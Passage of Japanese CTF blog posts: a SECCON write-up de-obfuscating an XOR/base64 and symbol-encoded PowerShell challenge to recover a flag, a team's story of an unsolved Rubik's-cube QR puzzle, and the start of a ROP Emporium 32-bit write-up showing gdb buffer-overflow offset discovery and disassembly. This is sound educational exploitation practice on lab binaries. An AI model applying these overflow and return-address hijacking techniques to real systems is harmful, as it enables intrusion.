Q0oxTxEzFzVNSkxVSjNOE0EWN0NITE4oExdBSjFMEUUXNUNTbEwTURVVSExCKxEVQ0o9SkwRQxVO
EzEWSDVBSkJAKBEVQUgzThAxFTdDREwTURVKMUpOECoVThNPFUo3U0pOE0gWThNEFUITQBdDTBFK
F08RQBdMHRQVQUwTSBVOEEIVThNPFUNOE0oXTBFDF0wRQRtDTBFKFU4TQxZOExYVTUwTSBVMEUEX
TxFOF0NCE0oXTBNCFU4QQRVBTB1KFU4TThdMESsXQ04TRBVMEUMVThNXFk4TQRVNTBNIFUwRFBdP
EUEXQ0ITShdME0EVThBXFU4TWxVDThNKF0wRMBdMETUbQ0wRShVOE0MWThMqFU1ME0gVTBFDF08R
QxdMHUMVQUwTSBVOEEEVThNNFUwRNRVBTBFJF0wRQxtME0EVTBFAF0BOE0gVQhNGF0wTKhVBTxFK
F0wdMxVOEzUXQ04QSBVOE0AVTBFVFUFMEUkXTBFDG0wTQRVMETMXQE4TSBVCE0MXTBNBFU4QQRVB
TB1KFU4TQxdMEVYXTBEUG0NMEUoVThNBFk4TQRVCEygXQ0wRShdPEUMXTB1DFU4TQBdDThBIFU4T
SBVMESgVQUwRSRdMEUYbTBMWFUNOE0gWThNCFUITFBdDTBFKF08RQxdMHUMVThNVF0NOEEgVThNN
FUwRQxVOE0IWQUwRShtME0EVTBFVF08RQxdDQhNKF0wTQRVOEEEVThM9FUNOE0oXTBFFF0wRKBtD
TBFKFU4TQRZOE0EVQhNAF0NMEUoXTxFDF0wdVRVOEzMXQ04QSBVOE00VTBFVFU4TQRZBTBFKG0wT
RBVMESgXQE4TSBVCE0MXTBNBFU4QKhVBTB1KFU4TFBdMEUIXQ04TRBVMEUMVThNBFk4TNxVNTBNI
FUwRQxdPEUMXTB01FUFME0gVThBBFU4TTRVMERQVQUwRSRdMEUMbTBNBFUwRQxdAThNIFUITQxdM
E0EVThAxFUFMHUoVThNDF0wRVhdMEVUbQ0wRShVOE0QWThMWFU1ME0gVTBFDF08RRhdDQhNKF0wT
QRVOEFcVQUwdShVOE0EXTBFFF0NOE0QVTBFDFU4TVxZOEyoVTUwTSBVMETMXTxFVF0NCE0oXTBNE
FU4QQhVBTB1KFU4TQBdMERcXQ04TRBVMEUAVThNDFkFMEUobTBNCFUwRQRdAThNIFUITQRdMExYV
QU8RShdMHUEVThNOF0NOEEgVThNIFUwRKBVBTBFJF0wRMxtMEzcVQ04TSBZOE0EVQhNVF0wTQRVB
TxFKF0wdQxVOE0MXTBFFF0NOE0QVTBFGFU4TKhZBTBFKG0wTRBVMERQXQE4TSBVCE04XTBNXFUFP
EUoXTB0zFU4TThdDThBIFU4TTRVMEUMVThMWFkFMEUobTBNCFUwRFBdAThNIFUITQxdME0EVThAx
FUFMHUoVThNGF0wRQxdDThNEFUwRQRVOEyoWQUwRShtMEzcVTBFDF0BOE0gVQhMzF0wTFhVBTxFK
F0wdMxVOExQXQ04QSBVOE0gVTBEUFUFMEUkXTBEzG0wTQRVDThNIFk4TQRVCEygXTBNEFUFPEUoX
TB1DFU4TRhdDThBIFU4TTRVMEVUVQUwRSRdMERQbQ0wRShVOE0wWThNDFU1ME0gVTBFDF08RQxdM
HTMVQUwTSBVOEEEVThNbFUwRNRVBTBFJF0wRQxtME0EVTBFAF0BOE0gVQhNDF0wTVxVOEEEVQUwd
ShVOEzMXTBE2F0NOE0QVTBFBFU4TKhZBTBFKG0wTQRVMEUMXTxFDF0NCE0oXTBNBFU4QQRVOEzsV
Q04TShdMEUAXTBFDG0wTQhVDThNIFk4TRBVCEygXQ0wRShdPEUYXTB0UFUFME0gVThBDFU4TTRVD
ThNKF0wRQBdMEUMbTBNBFUNOE0gWThNBFUITQxdME0EVQU8RShdMHUMVThNVF0wRVhdDThNEFUwR
RhVOEyoWQUwRShtME0MVTBEzF0BOE0gVQhNDF0wTQRVOEEEVQUwdShVOExQXTBFNF0NOE0QVTBFG
FU4TRBZBTBFKG0wTRBVMERQXQE4TSBVCEzUXTBMWFUFPEUoXTB1DFU4TRhdDThBIFU4TTRVMEVUV
QUwRSRdMERQbQ0wRShVOE0wWThNDFU1ME0gVTBFDF08RQxdMHTMVQUwTSBVOEEEVThNbFUwRNRVB
TBFJF0wRQxtME0EVTBFAF0BOE0gVQhNDF0wTVxVOEEEVQUwdShVOEzMXTBE2F0NOE0QVTBFBFU4T
KhZBTBFKG0wTQRVMEUMXTxFDF0NCE0oXTBNBFU4QQRVOEzsVQ04TShdMEUAXTBFDG0wTQhVDThNI
Fk4TRBVCEygXQ0wRShdPEUYXTB0zFUFME0gVThBMFU4TSBVDThNKF0wRQxdMERQbQ0wRShVOE0IW
ThNDFU1ME0gVTBFAF08RQRdDQhNKF0wTQxVOEBYVQUwdShVOE0EXTBFNF0NOE0QVTBFDFU4TKhZO
E0QVTUwTSBVMEUYXTxFAF0NCE0oXTBNCFU4QFhVBTB1KFU4TQBdMEUIXQ04TRBVMEUAVThNDFkFM
EUobTBNDFUwRFBdAThNIFUITQRdME0wVQU8RShdMHUMVThMoF0wRNhdDThNEFUwRRhVOEzEWQUwR
ShtME0EVTBFGF0BOE0gVQhNDF0wTVxVBTxFKF0wdQxVOEygXTBE2FxROE10VShZOTBFTF2E=
"@

$plain=@()
$byteString = [System.Convert]::FromBase64String($text)
$xordData = $(for ($i = 0; $i -lt $byteString.length; ) {
    for ($j = 0; $j -lt $f.length; $j++) {
        $plain+=$byteString[$i] -bxor $f[$j]
        $i++
        if ($i -ge $byteString.Length) {
            $j = $f.length
        }
    }
})
iex([System.Text.Encoding]::ASCII.GetString($plain))

While($stage1.length -lt 14) でループして入力値を受け取り,その後のifとforでチェックして If($secret[$i] -ne $stage1[$i]) を通るようであればExitしているらしいです.まずはここを通らないようにする必要がありそうです.

まずsecretですが $secret=@(440,440,493,440,440,493,440,493,523,493,440,493,440,349) このように宣言されています.なんかドレミの周波数っぽいです.440はラですし.

$stage1に上記の通りに音階を準備したいところですが,どの鍵盤を叩けばラ(440)がでるかとかピアノやっている人なら鍵盤を見てわかるのでしょうか,僕はわからないので大人しくコードを読みました.

$stage1は $stage1+=[math]::floor($keytone[$k]) とあるので$keytoneと$kを見る必要がありますが,この直前に$kには入力値を入れていることがわかるので,$keytoneを見ていきます.

$keytone=@{'a'=261.63}
$pk='a'
ForEach($k in ('w','s','e','d','f','t','g','y','h','u','j','k')){
    $keytone+=@{$k=$keytone[$pk]*[math]::pow(2,1/12)};$pk=$k  
}

$keytoneは連想配列として定義されていて,どうやら'a'がドらしいです.$keytoneにはこれら ('w','s','e','d','f','t','g','y','h','u','j','k') をkeyにして値を追加していっています.

この処理を別ファイルに書き出して,最終的に$keytoneを出力してみました.

PS C:\Users\ywkw1\Work> .\keytone.ps1
a 261.63
w 277.187329377222
s 293.669745699181
e 311.132257498162
d 329.633144283996
f 349.234151046506
t 370.000694323673
g 392.002080523246
y 415.31173722644
h 440.007458245659
u 466.171663254114
j 493.891672853823
k 523.26

よって, (440,440,493,440,440,493,440,493,523,493,440,493,440,349) この順番になるように打つとすると, hhjhhjhjkjhjhf です.

早速打ってみると「さくらさくら」が流れて,以下のようにpasswordを求められるようになりました.

Correct. Move to the next stage.
Enter the password: hoge

再びスクリプトを見ていきます.

$plain=@()
$byteString = [System.Convert]::FromBase64String($text)
$xordData = $(for ($i = 0; $i -lt $byteString.length; ) {
    for ($j = 0; $j -lt $f.length; $j++) {
        $plain+=$byteString[$i] -bxor $f[$j]
        $i++
        if ($i -ge $byteString.Length) {
            $j = $f.length
        }
    }
})
iex([System.Text.Encoding]::ASCII.GetString($plain))

$textというbase64エンコードされた変数に対して,先ほどの正しい入力値を使ってxorで復号しているようです.その後,それを実行しているようなので,再びどんなコードが実行されているのか$plainを別ファイルへ書き出してみました.

すると,以下のような内容のファイルが.

${;}=+$();${=}=${;};${+}=++${;};${@}=++${;};${.}=++${;};${[}=++${;};
${]}=++${;};${(}=++${;};${)}=++${;};${&}=++${;};${|}=++${;};
${"}="["+"$(@{})"[${)}]+"$(@{})"["${+}${|}"]+"$(@{})"["${@}${=}"]+"$?"[${+}]+"]";
${;}="".("$(@{})"["${+}${[}"]+"$(@{})"["${+}${(}"]+"$(@{})"[${=}]+"$(@{})"[${[}]+"$?"[${+}]+"$(@{})"[${.}]);
${;}="$(@{})"["${+}${[}"]+"$(@{})"[${[}]+"${;}"["${@}${)}"];"${"}${.}${(}+${"}${(}${|}+${"}${(}${)}+${"}${(}${)}+${"}${)}${|}+${"}${)}${&}+${"}${(}${+}+${"}${&}${@}+${"}${+}${=}${+}+${"}${|}${)}+${"}${+}${=}${=}+${"}${[}${]}+${"}${)}${@}+${"}${+}${+}${+}+${"}${+}${+}${]}+${"}${+}${+}${(}+${"}${.}${@}+${"}${[}${]}+${"}${&}${=}+${"}${+}${+}${[}+${"}${+}${+}${+}+${"}${+}${=}${|}+${"}${+}${+}${@}+${"}${+}${+}${(}+${"}${.}${@}+${"}${.}${|}+${"}${(}${|}+${"}${+}${+}${=}+${"}${+}${+}${(}+${"}${+}${=}${+}+${"}${+}${+}${[}+${"}${.}${@}+${"}${+}${+}${(}+${"}${+}${=}${[}+${"}${+}${=}${+}+${"}${.}${@}+${"}${+}${+}${@}+${"}${|}${)}+${"}${+}${+}${]}+${"}${+}${+}${]}+${"}${+}${+}${|}+${"}${+}${+}${+}+${"}${+}${+}${[}+${"}${+}${=}${=}+${"}${.}${|}+${"}${+}${.}+${"}${+}${=}+${"}${)}${.}+${"}${+}${=}${@}+${"}${[}${=}+${"}${.}${(}+${"}${(}${|}+${"}${(}${)}+${"}${(}${)}+${"}${)}${|}+${"}${)}${&}+${"}${.}${@}+${"}${[}${]}+${"}${+}${=}${+}+${"}${+}${+}${.}+${"}${.}${@}+${"}${.}${|}+${"}${&}${=}+${"}${[}${&}+${"}${+}${+}${|}+${"}${(}${|}+${"}${+}${+}${[}+${"}${.}${(}+${"}${)}${@}+${"}${]}${+}+${"}${[}${|}+${"}${[}${|}+${"}${.}${|}+${"}${[}${+}+${"}${+}${@}${.}+${"}${+}${.}+${"}${+}${=}+${"}${|}+${"}${&}${)}+${"}${+}${+}${[}+${"}${+}${=}${]}+${"}${+}${+}${(}+${"}${+}${=}${+}+${"}${[}${]}+${"}${)}${@}+${"}${+}${+}${+}+${"}${+}${+}${]}+${"}${+}${+}${(}+${"}${.}${@}+${"}${.}${|}+${"}${)}${+}+${"}${+}${+}${+}+${"}${+}${+}${+}+${"}${+}${=}${=}+${"}${.}${@}+${"}${)}${[}+${"}${+}${+}${+}+${"}${|}${&}+${"}${.}${.}+${"}${.}${|}+${"}${]}${|}+${"}${+}${.}+${"}${+}${=}+${"}${|}+${"}${&}${)}+${"}${+}${+}${[}+${"}${+}${=}${]}+${"}${+}${+}${(}+${"}${+}${=}${+}+${"}${[}${]}+${"}${)}${@}+${"}${+}${+}${+}+${"}${+}${+}${]}+${"}${+}${+}${(}+${"}${.}${@}+${"}${.}${[}+${"}${&}${.}+${"}${(}${|}+${"}${(}${)}+${"}${(}${)}+${"}${)}${|}+${"}${)}${&}+${"}${+}${@}${.}+${"}${.}${(}+${"}${(}${|}+${"}${(}${)}+${"}${(}${)}+${"}${)}${|}+${"}${)}${&}+${"}${+}${@}${]}+${"}${.}${[}+${"}${+}${.}+${"}${+}${=}+${"}${+}${@}${]}|${;}"|&${;}

なんだか凄いことになっていますが,記号プログラミングっぽいとわかります.

見やすいように整理します.

${;} =+$();
${=} =${;};
${+} =++${;};
${@} =++${;};
${.} =++${;};
${[} =++${;};

${]}=++${;};
${(}=++${;};
${)}=++${;};
${&}=++${;};
${|}=++${;};

${"} = "["+"$(@{})"[${)}]+"$(@{})"["${+}${|}"]+"$(@{})"["${@}${=}"]+"$?"[${+}]+"]";

${;} = "".("$(@{})"["${+}${[}"]+"$(@{})"["${+}${(}"]+"$(@{})"[${=}]+"$(@{})"[${[}]+"$?"[${+}]+"$(@{})"[${.}]);

${;}="$(@{})"["${+}${[}"]+"$(@{})"[${[}]+"${;}"["${@}${)}"];"${"}${.}${(}+${"}${(}${|}+${"}${(}${)}+${"}${(}${)}+${"}${)}${|}+${"}${)}${&}+${"}${(}${+}+${"}${&}${@}+${"}${+}${=}${+}+${"}${|}${)}+${"}${+}${=}${=}+${"}${[}${]}+${"}${)}${@}+${"}${+}${+}${+}+${"}${+}${+}${]}+${"}${+}${+}${(}+${"}${.}${@}+${"}${[}${]}+${"}${&}${=}+${"}${+}${+}${[}+${"}${+}${+}${+}+${"}${+}${=}${|}+${"}${+}${+}${@}+${"}${+}${+}${(}+${"}${.}${@}+${"}${.}${|}+${"}${(}${|}+${"}${+}${+}${=}+${"}${+}${+}${(}+${"}${+}${=}${+}+${"}${+}${+}${[}+${"}${.}${@}+${"}${+}${+}${(}+${"}${+}${=}${[}+${"}${+}${=}${+}+${"}${.}${@}+${"}${+}${+}${@}+${"}${|}${)}+${"}${+}${+}${]}+${"}${+}${+}${]}+${"}${+}${+}${|}+${"}${+}${+}${+}+${"}${+}${+}${[}+${"}${+}${=}${=}+${"}${.}${|}+${"}${+}${.}+${"}${+}${=}+${"}${)}${.}+${"}${+}${=}${@}+${"}${[}${=}+${"}${.}${(}+${"}${(}${|}+${"}${(}${)}+${"}${(}${)}+${"}${)}${|}+${"}${)}${&}+${"}${.}${@}+${"}${[}${]}+${"}${+}${=}${+}+${"}${+}${+}${.}+${"}${.}${@}+${"}${.}${|}+${"}${&}${=}+${"}${[}${&}+${"}${+}${+}${|}+${"}${(}${|}+${"}${+}${+}${[}+${"}${.}${(}+${"}${)}${@}+${"}${]}${+}+${"}${[}${|}+${"}${[}${|}+${"}${.}${|}+${"}${[}${+}+${"}${+}${@}${.}+${"}${+}${.}+${"}${+}${=}+${"}${|}+${"}${&}${)}+${"}${+}${+}${[}+${"}${+}${=}${]}+${"}${+}${+}${(}+${"}${+}${=}${+}+${"}${[}${]}+${"}${)}${@}+${"}${+}${+}${+}+${"}${+}${+}${]}+${"}${+}${+}${(}+${"}${.}${@}+${"}${.}${|}+${"}${)}${+}+${"}${+}${+}${+}+${"}${+}${+}${+}+${"}${+}${=}${=}+${"}${.}${@}+${"}${)}${[}+${"}${+}${+}${+}+${"}${|}${&}+${"}${.}${.}+${"}${.}${|}+${"}${]}${|}+${"}${+}${.}+${"}${+}${=}+${"}${|}+${"}${&}${)}+${"}${+}${+}${[}+${"}${+}${=}${]}+${"}${+}${+}${(}+${"}${+}${=}${+}+${"}${[}${]}+${"}${)}${@}+${"}${+}${+}${+}+${"}${+}${+}${]}+${"}${+}${+}${(}+${"}${.}${@}+${"}${.}${[}+${"}${&}${.}+${"}${(}${|}+${"}${(}${)}+${"}${(}${)}+${"}${)}${|}+${"}${)}${&}+${"}${+}${@}${.}+${"}${.}${(}+${"}${(}${|}+${"}${(}${)}+${"}${(}${)}+${"}${)}${|}+${"}${)}${&}+${"}${+}${@}${]}+${"}${.}${[}+${"}${+}${.}+${"}${+}${=}+${"}${+}${@}${]}|${;}"|&${;}

最初いくつかの変数を宣言した後,最下行で実行しているっぽいです.末尾のパイプを使った |${;}"|&${;} 辺りで実行してそうなのでこれを削除してから,なにが実行されているのかを見るために Write-Host ${;} してみます.

PS C:\Users\ywkw1\Work> .\plain.ps1
[CHar]36+[CHar]69+[CHar]67+[CHar]67+[CHar]79+[CHar]78+[CHar]61+[CHar]82+[CHar]101+[CHar]97+[CHar]100+[CHar]45+[CHar]72+[CHar]111+[CHar]115+[CHar]116+[CHar]32+[CHar]45+[CHar]80+[CHar]114+[CHar]111+[CHar]109+[CHar]112+[CHar]116+[CHar]32+[CHar]39+[CHar]69+[CHar]110+[CHar]116+[CHar]101+[CHar]114+[CHar]32+[CHar]116+[CHar]104+[CHar]101+[CHar]32+[CHar]112+[CHar]97+[CHar]115+[CHar]115+[CHar]119+[CHar]111+[CHar]114+[CHar]100+[CHar]39+[CHar]13+[CHar]10+[CHar]73+[CHar]102+[CHar]40+[CHar]36+[CHar]69+[CHar]67+[CHar]67+[CHar]79+[CHar]78+[CHar]32+[CHar]45+[CHar]101+[CHar]113+[CHar]32+[CHar]39+[CHar]80+[CHar]48+[CHar]119+[CHar]69+[CHar]114+[CHar]36+[CHar]72+[CHar]51+[CHar]49+[CHar]49+[CHar]39+[CHar]41+[CHar]123+[CHar]13+[CHar]10+[CHar]9+[CHar]87+[CHar]114+[CHar]105+[CHar]116+[CHar]101+[CHar]45+[CHar]72+[CHar]111+[CHar]115+[CHar]116+[CHar]32+[CHar]39+[CHar]71+[CHar]111+[CHar]111+[CHar]100+[CHar]32+[CHar]74+[CHar]111+[CHar]98+[CHar]33+[CHar]39+[CHar]59+[CHar]13+[CHar]10+[CHar]9+[CHar]87+[CHar]114+[CHar]105+[CHar]116+[CHar]101+[CHar]45+[CHar]72+[CHar]111+[CHar]115+[CHar]116+[CHar]32+[CHar]34+[CHar]83+[CHar]69+[CHar]67+[CHar]67+[CHar]79+[CHar]78+[CHar]123+[CHar]36+[CHar]69+[CHar]67+[CHar]67+[CHar]79+[CHar]78+[CHar]125+[CHar]34+[CHar]13+[CHar]10+[CHar]125
iex

(僕はここで,[CHar]69+[CHar]67+[CHar]67+[CHar]79+[CHar]78+[CHar]125+[CHar]34+[CHar]13+[CHar]10+[CHar]125 がフラグやんけ!って思ってASCII変換してでてきた SECCON{$ECCON} という文字列をsubmitして見事に間違えました.)

全て文字に直してみると,以下のようになりました.

$ECCON=Read-Host -Prompt 'Enter the password'
If($ECCON -eq 'P0wEr$H311'){
    Write-Host 'Good Job!';
    Write-Host "SECCON{$ECCON}"
}

$ECCONに入力値を流し込んで,それが P0wEr$H311 という文字列と等しければそれをフラグとして出力するようになっています.

ということで,フラグは SECCON{P0wEr$H311} でした.

取り組んだが解けなかった問題

Qubic Rube (Programming 300)

QRコードが6面に貼られた3x3x3のルービックキューブが出てきて,揃えて出てくるQRコードを読むと次の問題へっていうやつです.これを50回繰り返す必要があります.配色が日本配色でした.QRコードについて調べていた時期があったり,ルービックキューブも趣味でやっているので俺得問題やんけ!ってなって始めたのがきっかけです.

この問題では実際にQubic Rubeを作ってみて解いていたのですが,そもそも作った経緯が,問題が変わってもQRコード自体は変らないと思い込んでいて,なら実際に作ったほうが楽になるんじゃねと思ったのがきっかけです.チームメンバーの一人はステージ3ぐらいまでペイントツールで解いていて問題には気づいていたらしいのですが,お互いの情報共有や会話が上手く噛み合っていなかったのもあって,情報共有大事だなと思いました.

さらに運の悪いことに,6面それぞれの画像がWebサイトのソースコードから入手できることに気づかず,ドット絵を描くツールを使って全部手打ちで書き起こしていました.結果,7時間ほどでQubic Rubeは爆誕したわけです.

以下,製作工程です.ルービックキューブは自宅にあった Dayan ZhanChi 57mm を使いました.

ルービックキューブの大きさに合わせて5.7cmで6面をカラー印刷してきたら,綺麗に切り抜きます.

その後,裏面に両面テープを貼り付けていきます.

綺麗に貼り終わりました.

その後,これを9分割するのですが注意点として真ん中が13マス,両端が10マスになるように切っていきます.

これをキューブに丁寧に貼っていけば完成です.

自分のミスがわかってから,深夜にチーム全体で話し合って解く方針を決めました.流れとしては以下の順です.

  1. 6面の画像全てをサイトから落としてきて,それぞれを9分割する
  2. ルービックキューブを解くライブラリを使うために,9分割した画像を色判定して特定の順番で記号に置き換える
  3. 置き換えた記号をライブラリに流しこんで,解を得る
  4. 実際のルービックキューブを使って,出てきた解を逆の順番かつ逆の手順で回し,同じ状態にする
  5. URLがでてきそうな色に特定の順番で番号を振っていき,その後ライブラリから得られた手順を使って元に戻す
  6. すると,その色の各パーツの配置がわかるので,それを元に9枚の画像を配置し,向きがあっていない場合はそれぞれの画像を回転させてQRコードを得る

1,2,3,6辺りはスクリプト化します.ライブラリはkociembaというアルゴリズムを実装したものを使いました.

github.com

ここで,実際に作ったQubic Rubeが,QRコードを動かすイメージがついたり付箋で番号を貼って実際に回して位置を把握したりと,意外と役に立ったので良かったです.

上記の手順で10ステージまではいったのですが,その後ライブラリが上手く動かなくなるということが起きました.どうやら問題のキューブの配色が微妙に変わるということが起きていて,このライブラリは決められた配色でしか動かないようだったので,途中からは以下のサイトで手作業で手順を求めました.

rubiks-cube-solver.com

結局,1・2・6は後輩が,3・4・5は僕がやるという連携プレイで解いていました.URLが出てくる色が10ステージ目までは黄色だったのに,そこからはランダムになって苦戦したのですが,URLがでてきそうな色の判別は全て目視で行えるようになって,主にQRコードのデータコード語の部分の配置を見てデータが入って無さそうなやつはURLではない,とか形式情報の下位8bitで判断したりもしていました.

こんな感じ↓で作業してました.

そんなこんなで,ようやく流れに乗れたのが朝の11時とかだったので,そこからどんどん解いていきましたが最終的に37/50ステージ目でタイムアップしてしまいました.

あと2時間あれば絶対解けたはず...

まとめ

本当に楽しかったです.某所に男4人が集まってやっていたのですが,深夜にチーム全体で話し合ったときなどはこれぞチームって感じでした.

来年こそは100位以内に入れるように...

ROP Emporium Writeup(32bit)

はじめに

最近Pwnを始めて,ROP Emporiumというサイトを元に進めてます.少人数でのPwn勉強会でもこれを題材にしていたりします.で,ダラダラと進めてたらようやく32bitのほうが全部終わったのでwriteupを残そうと思います.めっちゃ勉強になるサイトなんですが,writeupをググると英語の記事はあるものの,日本語の記事が見当たらないので,書いておきます.

ROP Emporiumとは?

writeupの前に簡単な説明をしておくと,ROPというテクニックを主に学ぶことができるサイトです.7つの問題があり,それぞれ32bit版と64bit版があるので,計14問です.確かFBで@encry1024さんがリンクを貼っているのを見て存在を知りました.

問題としては脆弱なバイナリとflag.txtが与えられるので,実行ファイルからflag.txtを読み出せたら勝ちっていう感じです.

では,以下32bit版のwriteupです.

※誤りがあれば教えて頂けると有難いです!

  • ret2winBoFさせて任意のアドレスへ遷移させるやり方など)

  • split (ret2plt)

  • calllme (ROP基本)

  • write4 (任意の文字列を引数に渡す方法)

  • badchars (特定の文字がエスケープされる環境)

  • fluff (write4改みたいなやつ)

  • pivot (stack pivot)

ret2win

$ file ret2win32
ret2win32: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=70a25eb0b818fdc0bafabe17e07bccacb8513a53, not stripped

$ ./ret2win32
ret2win by ROP Emporium
32bits

For my first trick, I will attempt to fit 50 bytes of user input into 32 bytes of stack buffer;
What could possibly go wrong?
You there madam, may I have your input please? And don't worry about null bytes, we're using fgets!

> hoge

Exiting

適当に長い入力値を与えるとオーバーフローするので,gdbで調べます.(BoFは全ての問題で共通して存在します)

$ gdb ret2win32
Reading symbols from ret2win32...(no debugging symbols found)...done.
gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : Partial
gdb-peda$ pattc 100
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL'
gdb-peda$ run
Starting program: /home/yyy/yyy-d/work/ctf/pwn/ROP-Emporium/ret2win32/ret2win32 
ret2win by ROP Emporium
32bits

For my first trick, I will attempt to fit 50 bytes of user input into 32 bytes of stack buffer;
What could possibly go wrong?
You there madam, may I have your input please? And don't worry about null bytes, we're using fgets!

> AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0xffffbd10 ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAb")
EBX: 0x0 
ECX: 0x0 
EDX: 0xf7fa687c --> 0x0 
ESI: 0xf7fa5000 --> 0x1b1db0 
EDI: 0xf7fa5000 --> 0x1b1db0 
EBP: 0x41304141 ('AA0A')
ESP: 0xffffbd40 --> 0xf7fa0062 --> 0x1230000 
EIP: 0x41414641 ('AFAA')
EFLAGS: 0x10282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x41414641
[------------------------------------stack-------------------------------------]
0000| 0xffffbd40 --> 0xf7fa0062 --> 0x1230000 
0004| 0xffffbd44 --> 0xffffbd60 --> 0x1 
0008| 0xffffbd48 --> 0x0 
0012| 0xffffbd4c --> 0xf7e0b637 (<__libc_start_main+247>:   add    esp,0x10)
0016| 0xffffbd50 --> 0xf7fa5000 --> 0x1b1db0 
0020| 0xffffbd54 --> 0xf7fa5000 --> 0x1b1db0 
0024| 0xffffbd58 --> 0x0 
0028| 0xffffbd5c --> 0xf7e0b637 (<__libc_start_main+247>:   add    esp,0x10)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x41414641 in ?? ()
gdb-peda$ patto AFAA
AFAA found at offset: 44

patto AFAAというのはoffsetを調べる時に使用し, patto EIP のように使います. offsetが44とわかったので,44文字目以降に任意のアドレスを与えれば,そのアドレスに遷移させることができます.

任意のアドレスに遷移させることができる現在の状態を,「EIPを奪った」とかいいます.

次に,実行ファイルの中にどのような関数があるのかを見てみます.

$ gdb ret2win32
Reading symbols from ret2win32...(no debugging symbols found)...done.
gdb-peda$ i func
All defined functions:

Non-debugging symbols:
0x080483c0  _init
0x08048400  printf@plt
0x08048410  fgets@plt
0x08048420  puts@plt
0x08048430  system@plt
0x08048440  __libc_start_main@plt
0x08048450  setvbuf@plt
0x08048460  memset@plt
0x08048480  _start
0x080484b0  __x86.get_pc_thunk.bx
0x080484c0  deregister_tm_clones
0x080484f0  register_tm_clones
0x08048530  __do_global_dtors_aux
0x08048550  frame_dummy
0x0804857b  main
0x080485f6  pwnme
0x08048659  ret2win
0x08048690  __libc_csu_init
0x080486f0  __libc_csu_fini
0x080486f4  _fini

pwnmeとret2winという関数が気になります.mainとpwnmeとret2winをそれぞれ逆アセンブルして読んでみます.

main

gdb-peda$ disas main
Dump of assembler code for function main:
   0x0804857b <+0>:  lea    ecx,[esp+0x4]
   0x0804857f <+4>: and    esp,0xfffffff0
   0x08048582 <+7>: push   DWORD PTR [ecx-0x4]
   0x08048585 <+10>:    push   ebp
   0x08048586 <+11>:    mov    ebp,esp
   0x08048588 <+13>:    push   ecx
   0x08048589 <+14>:    sub    esp,0x4
   0x0804858c <+17>:    mov    eax,ds:0x804a064
   0x08048591 <+22>:    push   0x0
   0x08048593 <+24>:    push   0x2
   0x08048595 <+26>:    push   0x0
   0x08048597 <+28>:    push   eax
   0x08048598 <+29>:    call   0x8048450 <setvbuf@plt>
   0x0804859d <+34>:    add    esp,0x10
   0x080485a0 <+37>:    mov    eax,ds:0x804a040
   0x080485a5 <+42>:    push   0x0
   0x080485a7 <+44>:    push   0x2
   0x080485a9 <+46>:    push   0x0
   0x080485ab <+48>:    push   eax
   0x080485ac <+49>:    call   0x8048450 <setvbuf@plt>
   0x080485b1 <+54>:    add    esp,0x10
   0x080485b4 <+57>:    sub    esp,0xc
   0x080485b7 <+60>:    push   0x8048710
   0x080485bc <+65>:    call   0x8048420 <puts@plt>
   0x080485c1 <+70>:    add    esp,0x10
   0x080485c4 <+73>:    sub    esp,0xc
   0x080485c7 <+76>:    push   0x8048728
   0x080485cc <+81>:    call   0x8048420 <puts@plt>
   0x080485d1 <+86>:    add    esp,0x10
   0x080485d4 <+89>:    call   0x80485f6 <pwnme>
   0x080485d9 <+94>:    sub    esp,0xc
   0x080485dc <+97>:    push   0x8048730
   0x080485e1 <+102>:   call   0x8048420 <puts@plt>
   0x080485e6 <+107>:   add    esp,0x10
   0x080485e9 <+110>:   mov    eax,0x0
   0x080485ee <+115>:   mov    ecx,DWORD PTR [ebp-0x4]
   0x080485f1 <+118>:   leave  
   0x080485f2 <+119>:   lea    esp,[ecx-0x4]
   0x080485f5 <+122>:   ret    
End of assembler dump.

pwnme

gdb-peda$ disas pwnme
Dump of assembler code for function pwnme:
   0x080485f6 <+0>:  push   ebp
   0x080485f7 <+1>: mov    ebp,esp
   0x080485f9 <+3>: sub    esp,0x28
   0x080485fc <+6>: sub    esp,0x4
   0x080485ff <+9>: push   0x20
   0x08048601 <+11>:    push   0x0
   0x08048603 <+13>:    lea    eax,[ebp-0x28]
   0x08048606 <+16>:    push   eax
   0x08048607 <+17>:    call   0x8048460 <memset@plt>
   0x0804860c <+22>:    add    esp,0x10
   0x0804860f <+25>:    sub    esp,0xc
   0x08048612 <+28>:    push   0x804873c
   0x08048617 <+33>:    call   0x8048420 <puts@plt>
   0x0804861c <+38>:    add    esp,0x10
   0x0804861f <+41>:    sub    esp,0xc
   0x08048622 <+44>:    push   0x80487bc
   0x08048627 <+49>:    call   0x8048420 <puts@plt>
   0x0804862c <+54>:    add    esp,0x10
   0x0804862f <+57>:    sub    esp,0xc
   0x08048632 <+60>:    push   0x8048821
   0x08048637 <+65>:    call   0x8048400 <printf@plt>
   0x0804863c <+70>:    add    esp,0x10
   0x0804863f <+73>:    mov    eax,ds:0x804a060
   0x08048644 <+78>:    sub    esp,0x4
   0x08048647 <+81>:    push   eax
   0x08048648 <+82>:    push   0x32
   0x0804864a <+84>:    lea    eax,[ebp-0x28]
   0x0804864d <+87>:    push   eax
   0x0804864e <+88>:    call   0x8048410 <fgets@plt>
   0x08048653 <+93>:    add    esp,0x10
   0x08048656 <+96>:    nop
   0x08048657 <+97>:    leave  
   0x08048658 <+98>:    ret    
End of assembler dump.

ret2win

gdb-peda$ disas ret2win 
Dump of assembler code for function ret2win:
   0x08048659 <+0>:  push   ebp
   0x0804865a <+1>: mov    ebp,esp
   0x0804865c <+3>: sub    esp,0x8
   0x0804865f <+6>: sub    esp,0xc
   0x08048662 <+9>: push   0x8048824
   0x08048667 <+14>:    call   0x8048400 <printf@plt>
